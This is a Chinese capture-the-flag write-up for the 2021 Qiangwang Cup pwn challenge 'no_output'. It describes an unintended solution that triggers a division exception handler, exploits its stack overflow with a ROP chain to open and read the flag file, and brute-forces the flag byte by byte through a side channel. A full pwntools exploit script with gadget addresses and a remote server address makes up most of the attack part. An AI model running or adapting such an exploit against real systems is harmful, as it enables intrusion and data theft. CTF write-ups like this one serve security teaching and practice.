第五届强网杯 Pwn - no_output

31pp3 2021-06-19 20:54:33 2193 0


这是个非预期解法,预期解法最终getshell了,而我通过侧信道来逐字节爆破flag;

题目预留了一个有栈溢出漏洞的handler函数,通过MIN_INT/-1触发异常进入handler。通过栈溢出部署ROP链:

  1. 读入flag文件名“flag”
  2. 打开flag文件
  3. 把flag读入secret中
  4. 读入即将被爆破的字节目标“X\x00”
  5. 跳转到check函数通过判断flag指定字节与当前输入的字节是否相同,相同则程序继续执行

最后整合一下exp:

from pwn import *
import time

elf = ELF("./test")
#context.log_level = "debug"
context.arch = "i386"

elf_open = elf.plt[b"open"]
elf_read = elf.plt[b"read"]
bss_secret = 0x804C034
flag_name = 0x804A0D3
bss_name = 0x804C060

table = b"abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890{}-_@$&*!?."

final_flag = b""

def exp(guess, c_idx):
    global final_flag
    global p
    #p = process("./test")
    p = remote("39.105.138.97", 1234)

    # tell me some thing
    p.send(b"a"*0x30)
    # Tell me your name:\n
    p.send((b"\x00"*8 + b"f" + b"\x00").ljust(0x20, b"b"))
    # now give you the flag\n
    # xxxx
    # give me the soul:
    p.sendline(b"-2147483648")
    # give me the egg:
    p.sendline(b"-1")
    
    # handler stkof
    #gdb.attach(p,"b *0x8049385\nc\n")
    
    offset = 0x48 # to ebp
    pop_edi_ebp_ret = 0x08049582
    pop_esi_edi_ebp_ret = 0x08049581
    pop_ebx_esi_edi_ebp_ret = 0x08049580
    payload1 = b"a"*offset + p32(0xdeadbeef)
    payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(bss_name+0x20) + p32(5) # read(0, input_byte, 0x2) 
    payload1 += p32(elf_open) + p32(pop_edi_ebp_ret) + p32(bss_name+0x20) + p32(0)  # open(flag_name, 0)
    payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(4) + p32(bss_secret) + p32(0xff) # read(fd, secret, 0xff)
    payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(bss_name) + p32(2) # read(0, input_byte, 0x2) 
    payload1 += p32(0x80494d6) + p32(bss_secret+c_idx) + p32(bss_name) # control check_flag()
    p.send(payload1.ljust(0x100, b"\x00"))
    #time.sleep(0.5)
    p.send(b"flag\x00")
    p.send(guess + b"\x00")
    
    try:
        p.recv(timeout=1)
        final_flag += guess
        print("Curr flag:", final_flag)
        #pause()
        p.close()
        return True
    except:
        #print("Incorrect:", guess)
        print("Curr flag:", final_flag)
        p.close()
        return False


if __name__ == "__main__":
    for i in range(20, 40):
        print("Round: ", i)
        for c in table:
            if exp(bytes([c]), i):
                break
    print("Curr flag:", final_flag)
分类:PWN
image
作者:31pp3

2

提交

0

收入

相关WriteUP

  • 第五届强网杯 Pwn - shellcode

    模式切换shellcode,通过retf和retfq指令在x64和x86模式下切换,绕过系统调用号限制因为有字符范围限制:(0x1f,0x7f),所以可以先用点小技巧,先通过alpha_shellcode调用read自覆盖解除字符限制,然后通过读入的shellcode来mmap两个低地址段分别给后续shellcode和栈(防止切换到x86后出现段错误)最后读入一份orw的shellcode,orw...

    • PWN
    • 3年前
问题反馈